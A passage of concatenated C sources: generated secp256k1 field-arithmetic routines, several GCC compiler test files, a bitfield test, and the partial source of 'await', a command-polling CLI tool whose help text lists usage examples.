*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x473;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x474;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x475;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x476;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x477;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x478;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x479;
/*skip*/
return;
}
/*
* Input Bounds:
* in0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [0x0 ~> 0xffffffff]
*/
uintptr_t fiat_secp256k1_nonzero(uintptr_t in0) {
uintptr_t x0, x1, x2, x3, x4, x5, x6, x7, x8, out0, x9;
x0 = *(uintptr_t*)((in0)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in0)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in0)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in0)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in0)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in0)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in0)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in0)+((uintptr_t)28ULL));
/*skip*/
/*skip*/
x8 = (x0)|((x1)|((x2)|((x3)|((x4)|((x5)|((x6)|((x7)|((uintptr_t)0ULL))))))));
x9 = x8;
out0 = x9;
return out0;
}
/*
* Input Bounds:
* in0: [0x0 ~> 0x1]
* in1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* in2: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
*/
void fiat_secp256k1_selectznz(uintptr_t in0, uintptr_t in1, uintptr_t in2, uintptr_t out0) {
uintptr_t x8, x16, x0, x17, x9, x19, x1, x20, x10, x22, x2, x23, x11, x25, x3, x26, x12, x28, x4, x29, x13, x31, x5, x32, x14, x34, x6, x35, x15, x37, x7, x38, x18, x21, x24, x27, x30, x33, x36, x39, x40, x41, x42, x43, x44, x45, x46, x47;
/*skip*/
x0 = *(uintptr_t*)((in1)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in1)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in1)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in1)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in1)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in1)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in1)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in1)+((uintptr_t)28ULL));
/*skip*/
x8 = *(uintptr_t*)((in2)+((uintptr_t)0ULL));
x9 = *(uintptr_t*)((in2)+((uintptr_t)4ULL));
x10 = *(uintptr_t*)((in2)+((uintptr_t)8ULL));
x11 = *(uintptr_t*)((in2)+((uintptr_t)12ULL));
x12 = *(uintptr_t*)((in2)+((uintptr_t)16ULL));
x13 = *(uintptr_t*)((in2)+((uintptr_t)20ULL));
x14 = *(uintptr_t*)((in2)+((uintptr_t)24ULL));
x15 = *(uintptr_t*)((in2)+((uintptr_t)28ULL));
/*skip*/
/*skip*/
x16 = ((uintptr_t)-1ULL)+((in0)==((uintptr_t)0ULL));
x17 = (x16)^((uintptr_t)4294967295ULL);
x18 = ((x8)&(x16))|((x0)&(x17));
x19 = ((uintptr_t)-1ULL)+((in0)==((uintptr_t)0ULL));
x20 = (x19)^((uintptr_t)4294967295ULL);
x21 = ((x9)&(x19))|((x1)&(x20));
x22 = ((uintptr_t)-1ULL)+((in0)==((uintptr_t)0ULL));
x23 = (x22)^((uintptr_t)4294967295ULL);
x24 = ((x10)&(x22))|((x2)&(x23));
x25 = ((uintptr_t)-1ULL)+((in0)==((uintptr_t)0ULL));
x26 = (x25)^((uintptr_t)4294967295ULL);
x27 = ((x11)&(x25))|((x3)&(x26));
x28 = ((uintptr_t)-1ULL)+((in0)==((uintptr_t)0ULL));
x29 = (x28)^((uintptr_t)4294967295ULL);
x30 = ((x12)&(x28))|((x4)&(x29));
x31 = ((uintptr_t)-1ULL)+((in0)==((uintptr_t)0ULL));
x32 = (x31)^((uintptr_t)4294967295ULL);
x33 = ((x13)&(x31))|((x5)&(x32));
x34 = ((uintptr_t)-1ULL)+((in0)==((uintptr_t)0ULL));
x35 = (x34)^((uintptr_t)4294967295ULL);
x36 = ((x14)&(x34))|((x6)&(x35));
x37 = ((uintptr_t)-1ULL)+((in0)==((uintptr_t)0ULL));
x38 = (x37)^((uintptr_t)4294967295ULL);
x39 = ((x15)&(x37))|((x7)&(x38));
x40 = x18;
x41 = x21;
x42 = x24;
x43 = x27;
x44 = x30;
x45 = x33;
x46 = x36;
x47 = x39;
/*skip*/
*(uintptr_t*)((out0)+((uintptr_t)0ULL)) = x40;
*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x41;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x42;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x43;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x44;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x45;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x46;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x47;
/*skip*/
return;
}
/*
* Input Bounds:
* in0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff]]
*/
void fiat_secp256k1_to_bytes(uintptr_t in0, uintptr_t out0) {
uintptr_t x7, x6, x5, x4, x3, x2, x1, x0, x15, x16, x18, x20, x14, x23, x25, x27, x13, x30, x32, x34, x12, x37, x39, x41, x11, x44, x46, x48, x10, x51, x53, x55, x9, x58, x60, x62, x8, x65, x67, x17, x19, x21, x22, x24, x26, x28, x29, x31, x33, x35, x36, x38, x40, x42, x43, x45, x47, x49, x50, x52, x54, x56, x57, x59, x61, x63, x64, x66, x68, x70, x69, x71, x72, x73, x74, x75, x76, x77, x78, x79, x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x100, x101, x102;
x0 = *(uintptr_t*)((in0)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in0)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in0)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in0)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in0)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in0)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in0)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in0)+((uintptr_t)28ULL));
/*skip*/
/*skip*/
x8 = x7;
x9 = x6;
x10 = x5;
x11 = x4;
x12 = x3;
x13 = x2;
x14 = x1;
x15 = x0;
x16 = (x15)>>((uintptr_t)8ULL);
x17 = (x15)&((uintptr_t)255ULL);
x18 = (x16)>>((uintptr_t)8ULL);
x19 = (x16)&((uintptr_t)255ULL);
x20 = (x18)>>((uintptr_t)8ULL);
x21 = (x18)&((uintptr_t)255ULL);
x22 = (x20)&((uintptr_t)255ULL);
x23 = (x14)>>((uintptr_t)8ULL);
x24 = (x14)&((uintptr_t)255ULL);
x25 = (x23)>>((uintptr_t)8ULL);
x26 = (x23)&((uintptr_t)255ULL);
x27 = (x25)>>((uintptr_t)8ULL);
x28 = (x25)&((uintptr_t)255ULL);
x29 = (x27)&((uintptr_t)255ULL);
x30 = (x13)>>((uintptr_t)8ULL);
x31 = (x13)&((uintptr_t)255ULL);
x32 = (x30)>>((uintptr_t)8ULL);
x33 = (x30)&((uintptr_t)255ULL);
x34 = (x32)>>((uintptr_t)8ULL);
x35 = (x32)&((uintptr_t)255ULL);
x36 = (x34)&((uintptr_t)255ULL);
x37 = (x12)>>((uintptr_t)8ULL);
x38 = (x12)&((uintptr_t)255ULL);
x39 = (x37)>>((uintptr_t)8ULL);
x40 = (x37)&((uintptr_t)255ULL);
x41 = (x39)>>((uintptr_t)8ULL);
x42 = (x39)&((uintptr_t)255ULL);
x43 = (x41)&((uintptr_t)255ULL);
x44 = (x11)>>((uintptr_t)8ULL);
x45 = (x11)&((uintptr_t)255ULL);
x46 = (x44)>>((uintptr_t)8ULL);
x47 = (x44)&((uintptr_t)255ULL);
x48 = (x46)>>((uintptr_t)8ULL);
x49 = (x46)&((uintptr_t)255ULL);
x50 = (x48)&((uintptr_t)255ULL);
x51 = (x10)>>((uintptr_t)8ULL);
x52 = (x10)&((uintptr_t)255ULL);
x53 = (x51)>>((uintptr_t)8ULL);
x54 = (x51)&((uintptr_t)255ULL);
x55 = (x53)>>((uintptr_t)8ULL);
x56 = (x53)&((uintptr_t)255ULL);
x57 = (x55)&((uintptr_t)255ULL);
x58 = (x9)>>((uintptr_t)8ULL);
x59 = (x9)&((uintptr_t)255ULL);
x60 = (x58)>>((uintptr_t)8ULL);
x61 = (x58)&((uintptr_t)255ULL);
x62 = (x60)>>((uintptr_t)8ULL);
x63 = (x60)&((uintptr_t)255ULL);
x64 = (x62)&((uintptr_t)255ULL);
x65 = (x8)>>((uintptr_t)8ULL);
x66 = (x8)&((uintptr_t)255ULL);
x67 = (x65)>>((uintptr_t)8ULL);
x68 = (x65)&((uintptr_t)255ULL);
x69 = (x67)>>((uintptr_t)8ULL);
x70 = (x67)&((uintptr_t)255ULL);
x71 = x17;
x72 = x19;
x73 = x21;
x74 = x22;
x75 = x24;
x76 = x26;
x77 = x28;
x78 = x29;
x79 = x31;
x80 = x33;
x81 = x35;
x82 = x36;
x83 = x38;
x84 = x40;
x85 = x42;
x86 = x43;
x87 = x45;
x88 = x47;
x89 = x49;
x90 = x50;
x91 = x52;
x92 = x54;
x93 = x56;
x94 = x57;
x95 = x59;
x96 = x61;
x97 = x63;
x98 = x64;
x99 = x66;
x100 = x68;
x101 = x70;
x102 = x69;
/*skip*/
*(uintptr_t*)((out0)+((uintptr_t)0ULL)) = x71;
*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x72;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x73;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x74;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x75;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x76;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x77;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x78;
*(uintptr_t*)((out0)+((uintptr_t)32ULL)) = x79;
*(uintptr_t*)((out0)+((uintptr_t)36ULL)) = x80;
*(uintptr_t*)((out0)+((uintptr_t)40ULL)) = x81;
*(uintptr_t*)((out0)+((uintptr_t)44ULL)) = x82;
*(uintptr_t*)((out0)+((uintptr_t)48ULL)) = x83;
*(uintptr_t*)((out0)+((uintptr_t)52ULL)) = x84;
*(uintptr_t*)((out0)+((uintptr_t)56ULL)) = x85;
*(uintptr_t*)((out0)+((uintptr_t)60ULL)) = x86;
*(uintptr_t*)((out0)+((uintptr_t)64ULL)) = x87;
*(uintptr_t*)((out0)+((uintptr_t)68ULL)) = x88;
*(uintptr_t*)((out0)+((uintptr_t)72ULL)) = x89;
*(uintptr_t*)((out0)+((uintptr_t)76ULL)) = x90;
*(uintptr_t*)((out0)+((uintptr_t)80ULL)) = x91;
*(uintptr_t*)((out0)+((uintptr_t)84ULL)) = x92;
*(uintptr_t*)((out0)+((uintptr_t)88ULL)) = x93;
*(uintptr_t*)((out0)+((uintptr_t)92ULL)) = x94;
*(uintptr_t*)((out0)+((uintptr_t)96ULL)) = x95;
*(uintptr_t*)((out0)+((uintptr_t)100ULL)) = x96;
*(uintptr_t*)((out0)+((uintptr_t)104ULL)) = x97;
*(uintptr_t*)((out0)+((uintptr_t)108ULL)) = x98;
*(uintptr_t*)((out0)+((uintptr_t)112ULL)) = x99;
*(uintptr_t*)((out0)+((uintptr_t)116ULL)) = x100;
*(uintptr_t*)((out0)+((uintptr_t)120ULL)) = x101;
*(uintptr_t*)((out0)+((uintptr_t)124ULL)) = x102;
/*skip*/
return;
}
/*
* Input Bounds:
* in0: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff]]
* Output Bounds:
* out0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
*/
void fiat_secp256k1_from_bytes(uintptr_t in0, uintptr_t out0) {
uintptr_t x31, x30, x29, x28, x27, x26, x25, x24, x23, x22, x21, x20, x19, x18, x17, x16, x15, x14, x13, x12, x11, x10, x9, x8, x7, x6, x5, x4, x3, x2, x1, x0, x63, x62, x61, x60, x64, x35, x34, x33, x32, x39, x38, x37, x36, x43, x42, x41, x40, x47, x46, x45, x44, x51, x50, x49, x48, x55, x54, x53, x52, x59, x58, x57, x56, x72, x71, x70, x69, x68, x67, x65, x73, x74, x75, x76, x77, x78, x66, x79, x80, x81, x82, x83, x84, x85, x86;
x0 = *(uintptr_t*)((in0)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in0)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in0)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in0)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in0)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in0)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in0)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in0)+((uintptr_t)28ULL));
x8 = *(uintptr_t*)((in0)+((uintptr_t)32ULL));
x9 = *(uintptr_t*)((in0)+((uintptr_t)36ULL));
x10 = *(uintptr_t*)((in0)+((uintptr_t)40ULL));
x11 = *(uintptr_t*)((in0)+((uintptr_t)44ULL));
x12 = *(uintptr_t*)((in0)+((uintptr_t)48ULL));
x13 = *(uintptr_t*)((in0)+((uintptr_t)52ULL));
x14 = *(uintptr_t*)((in0)+((uintptr_t)56ULL));
x15 = *(uintptr_t*)((in0)+((uintptr_t)60ULL));
x16 = *(uintptr_t*)((in0)+((uintptr_t)64ULL));
x17 = *(uintptr_t*)((in0)+((uintptr_t)68ULL));
x18 = *(uintptr_t*)((in0)+((uintptr_t)72ULL));
x19 = *(uintptr_t*)((in0)+((uintptr_t)76ULL));
x20 = *(uintptr_t*)((in0)+((uintptr_t)80ULL));
x21 = *(uintptr_t*)((in0)+((uintptr_t)84ULL));
x22 = *(uintptr_t*)((in0)+((uintptr_t)88ULL));
x23 = *(uintptr_t*)((in0)+((uintptr_t)92ULL));
x24 = *(uintptr_t*)((in0)+((uintptr_t)96ULL));
x25 = *(uintptr_t*)((in0)+((uintptr_t)100ULL));
x26 = *(uintptr_t*)((in0)+((uintptr_t)104ULL));
x27 = *(uintptr_t*)((in0)+((uintptr_t)108ULL));
x28 = *(uintptr_t*)((in0)+((uintptr_t)112ULL));
x29 = *(uintptr_t*)((in0)+((uintptr_t)116ULL));
x30 = *(uintptr_t*)((in0)+((uintptr_t)120ULL));
x31 = *(uintptr_t*)((in0)+((uintptr_t)124ULL));
/*skip*/
/*skip*/
x32 = (x31)<<((uintptr_t)24ULL);
x33 = (x30)<<((uintptr_t)16ULL);
x34 = (x29)<<((uintptr_t)8ULL);
x35 = x28;
x36 = (x27)<<((uintptr_t)24ULL);
x37 = (x26)<<((uintptr_t)16ULL);
x38 = (x25)<<((uintptr_t)8ULL);
x39 = x24;
x40 = (x23)<<((uintptr_t)24ULL);
x41 = (x22)<<((uintptr_t)16ULL);
x42 = (x21)<<((uintptr_t)8ULL);
x43 = x20;
x44 = (x19)<<((uintptr_t)24ULL);
x45 = (x18)<<((uintptr_t)16ULL);
x46 = (x17)<<((uintptr_t)8ULL);
x47 = x16;
x48 = (x15)<<((uintptr_t)24ULL);
x49 = (x14)<<((uintptr_t)16ULL);
x50 = (x13)<<((uintptr_t)8ULL);
x51 = x12;
x52 = (x11)<<((uintptr_t)24ULL);
x53 = (x10)<<((uintptr_t)16ULL);
x54 = (x9)<<((uintptr_t)8ULL);
x55 = x8;
x56 = (x7)<<((uintptr_t)24ULL);
x57 = (x6)<<((uintptr_t)16ULL);
x58 = (x5)<<((uintptr_t)8ULL);
x59 = x4;
x60 = (x3)<<((uintptr_t)24ULL);
x61 = (x2)<<((uintptr_t)16ULL);
x62 = (x1)<<((uintptr_t)8ULL);
x63 = x0;
x64 = (x63)+((x62)+((x61)+(x60)));
x65 = (x64)&((uintptr_t)4294967295ULL);
x66 = (x35)+((x34)+((x33)+(x32)));
x67 = (x39)+((x38)+((x37)+(x36)));
x68 = (x43)+((x42)+((x41)+(x40)));
x69 = (x47)+((x46)+((x45)+(x44)));
x70 = (x51)+((x50)+((x49)+(x48)));
x71 = (x55)+((x54)+((x53)+(x52)));
x72 = (x59)+((x58)+((x57)+(x56)));
x73 = (x72)&((uintptr_t)4294967295ULL);
x74 = (x71)&((uintptr_t)4294967295ULL);
x75 = (x70)&((uintptr_t)4294967295ULL);
x76 = (x69)&((uintptr_t)4294967295ULL);
x77 = (x68)&((uintptr_t)4294967295ULL);
x78 = (x67)&((uintptr_t)4294967295ULL);
x79 = x65;
x80 = x73;
x81 = x74;
x82 = x75;
x83 = x76;
x84 = x77;
x85 = x78;
x86 = x66;
/*skip*/
*(uintptr_t*)((out0)+((uintptr_t)0ULL)) = x79;
*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x80;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x81;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x82;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x83;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x84;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x85;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x86;
/*skip*/
return;
}
|
the_stack_data/218892062.c | /* Radar 2338865 */
/* { dg-do compile } */
/* { dg-options "-O0 -gdwarf-2 -dA" } */
/* { dg-skip-if "Unmatchable assembly" { mmix-*-* } { "*" } { "" } } */
/* { dg-final { scan-assembler "DW_AT_APPLE_optimized" } } */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
int
main (int argc, char **argv)
{
int x;
fprintf (stdout, "Here we go!!\n");
x = foo ();
fprintf (stdout, "We made it all the way to the top with %d\n", x);
return 0;
}
int
foo (void)
{
int y;
double r;
y = bar ();
r = sqrt (y);
fprintf (stdout, "The squareroot of %d is %f.\n", y, r);
return y;
}
#pragma optimization_level 3
int
bar (void)
{
int z;
int result = 1;
int n;
int i;
z = baz ();
n = z % 10;
for (i = 0; i < n; i++)
if (i > 0)
result = result * i;
fprintf (stdout, "Multiplying the first ten numbers of %d is %d\n", z, result);
return z;
}
#pragma optimization_level reset
int
baz (void)
{
char *buffer;
int len;
int answer;
buffer = (char *) malloc (80);
fprintf (stdout, "Please enter a number: ");
gets (buffer);
answer = atoi (buffer);
return answer;
}
|
the_stack_data/12637188.c | /* { dg-do compile } */
/* { dg-options "-mcpu=ultrasparc -mvis" } */
typedef char vec8 __attribute__((vector_size(4)));
typedef short vec16 __attribute__((vector_size(4)));
extern vec8 foo1_8(void);
extern vec8 foo2_8(void);
vec8 fun8(void)
{
return foo1_8 () | foo2_8 ();
}
extern vec16 foo1_16(void);
extern vec16 foo2_16(void);
vec16 fun16(void)
{
return foo1_16 () | foo1_16 ();
}
/* { dg-final { scan-assembler-times "fors\t%" 2 } } */
|
the_stack_data/54530.c | /*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
struct test {
unsigned int val1 : 1;
unsigned int val2 : 1;
};
int main() {
struct test t;
t.val2 = 1;
t.val1 = 0; // -1
int val = t.val1 + t.val2;
return val;
}
|
the_stack_data/1034269.c | #include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/stat.h>
#include <syslog.h>
#ifdef __APPLE__
#include "threads.h"
#else
#include <threads.h>
#endif
#include <pwd.h>
#include <limits.h>
thrd_t thread;
char *spinner[] = {"⣾","⣽","⣻","⢿","⡿","⣟","⣯","⣷"};
typedef struct {
int spinner;
char *command;
char *out;
char *previousOut;
size_t outPos;
int status;
int change;
} COMMAND;
COMMAND c[100];
typedef struct {
int expectedStatus;
int interval;
int any;
int change;
int silent;
int forever;
int daemonize;
int fail;
int stdout;
char *onSuccess;
char* service;
char* args;
int nCommands;
} ARGS;
ARGS args = {.interval=200, .expectedStatus = 0, .silent=0, .change=0, .nCommands=0, .args=""};
int const BUF_SIZE = 1024;
int const CHUNK_SIZE = BUF_SIZE * 100;
char* replace(const char* oldW, const char* newW, const char* s) {
char* result;
int i, cnt = 0;
int newWlen = strlen(newW);
int oldWlen = strlen(oldW);
// Counting the number of times old word
// occur in the string
for (i = 0; s[i] != '\0'; i++) {
if (strstr(&s[i], oldW) == &s[i]) {
cnt++;
// Jumping to index after the old word.
i += oldWlen - 1;
}
}
// Making new string of enough length
result = (char*)malloc(i + cnt * (newWlen - oldWlen) + 1);
i = 0;
while (*s) {
// compare the substring with the result
if (strstr(s, oldW) == s) {
strcpy(&result[i], newW);
i += newWlen;
s += oldWlen;
}
else
result[i++] = *s++;
}
result[i] = '\0';
return result;
}
static void daemonize() {
pid_t pid;
pid = fork();
if (pid < 0) exit(EXIT_FAILURE);
/* Success: Let the parent terminate */
if (pid > 0) exit(EXIT_SUCCESS);
/* On success: The child process becomes session leader */
if (setsid() < 0) exit(EXIT_FAILURE);
/* Catch, ignore and handle signals */
//TODO: Implement a working signal handler */
// signal(SIGCHLD, SIG_IGN);
// signal(SIGHUP, SIG_IGN);
//
// /* Fork off for the second time*/
// pid = fork();
//
// if (pid < 0) exit(EXIT_FAILURE);
//
// /* Success: Let the parent terminate */
// if (pid > 0) exit(EXIT_SUCCESS);
/* Set new file permissions */
umask(0);
setpgid(0, 0);
/* Close all open file descriptors */
// int x;
// for (x = sysconf(_SC_OPEN_MAX); x>=0; x--) {
// close (x);
// }
// /* Open the log file */
openlog("await", LOG_PID, LOG_DAEMON);
}
int msleep(long msec)
{
struct timespec ts;
int res;
if (msec < 0)
{
errno = EINVAL;
return -1;
}
ts.tv_sec = msec / 1000;
ts.tv_nsec = (msec % 1000) * 1000000;
do {
res = nanosleep(&ts, &ts);
} while (res && errno == EINTR);
return res;
}
char * replace_outs(char *string) {
for(int i = 0; i < args.nCommands; i = i + 1) {
if (!c[i].previousOut) continue;
char C[3];
sprintf(C, "\\%d", i+1);
string = replace(C, c[i].previousOut, string);
}
return string;
}
void help() {
printf("await [arguments] commands\n\n"
"# runs list of commands and waits for their termination\n"
"\nOPTIONS:\n"
" --help\t#print this help\n"
" --stdout -o\t#print stdout of commands\n"
" --silent -V\t#do not print spinners and commands\n"
" --fail -f\t#waiting commands to fail\n"
" --status -s\t#expected status [default: 0]\n"
" --any -a\t#terminate if any of command return expected status\n"
" --change -c\t#waiting for stdout to change and ignore status codes\n"
" --exec -e\t#run some shell command on success;\n"
" --interval -i\t#milliseconds between one round of commands [default: 200]\n"
" --forever -F\t#do not exit ever\n"
" --service -S\t#create systemd user service with same parameters and activate it\n"
"\n\nNOTES:\n"
"# \\1, \\2 ... \\n - will be subtituted with n-th command stdout\n"
"# you can use stdout substitution in --exec and in commands itself:\n"
" await 'echo -n 10' 'echo -n $RANDOM' 'expr \\1 + \\2' --exec 'echo \\3' --forever --silent\n"
"\n\nEXAMPLES:\n"
"# action on specific file type changes\n"
" await 'stat **.c' --change --forever --exec 'gcc *.c -o await -lpthread'\n\n"
"# waiting google (or your internet connection) to fail\n"
" await 'curl google.com' --fail\n\n"
"# waiting only google to fail (https://ec.haxx.se/usingcurl/usingcurl-returns)\n"
" await 'curl google.com' --status 7\n\n"
"# waits for redis socket and then connects to\n"
" await 'socat -u OPEN:/dev/null UNIX-CONNECT:/tmp/redis.sock' --exec 'redis-cli -s /tmp/redis.sock'\n\n"
"# lazy version\n"
" await 'ls /tmp/redis.sock'; redis-cli -s /tmp/redis.sock\n\n"
"# daily checking if I am on french reviera. Just in case\n"
" await 'curl https://ipapi.co/json 2>/dev/null | jq .city | grep Nice' --interval 86400\n\n"
"# Yet another server monitor\n"
" await \"curl 'https://whatnot.ai' &>/dev/null && echo 'UP' || echo 'DOWN'\" --forever --change\\\n --exec \"ntfy send \\'whatnot.ai \\1\\'\"\n\n"
"# waiting for new iPhone in daemon mode\n"
" await 'curl \"https://www.apple.com/iphone/\" -s | pup \".hero-eyebrow text{}\" | grep -v 12'\\\n --change --interval 86400 --daemon --exec \"ntfy send \\1\"\n\n"
// "# waiting for pup's author new blog post\n"
// " await 'mv /tmp/eric.new /tmp/eric.old &>/dev/null; http \"https://ericchiang.github.io/\" | pup \"a attr{href}\" > /tmp/eric.new; diff /tmp/eric.new /tmp/eric.old' --fail --exec 'ntfy send \"new article $1\"'\n\n"
);
exit(0);
}
void parse_args(int argc, char *argv[]) {
int getopt;
args.args = malloc(1000);
while (1) {
static struct option long_options[] = {
{"stdout", no_argument, 0, 'o'},
{"silent", no_argument, 0, 'V'},
{"any", no_argument, 0, 'a'},
{"fail", no_argument, 0, 'f'},
{"forever", no_argument, 0, 'F'},
{"change", no_argument, 0, 'c'},
{"help", no_argument, 0, 'h'},
{"daemon", no_argument, 0, 'd'},
{"service", required_argument, 0, 'S'},
{"status", required_argument, 0, 's'},
{"exec", required_argument, 0, 'e'},
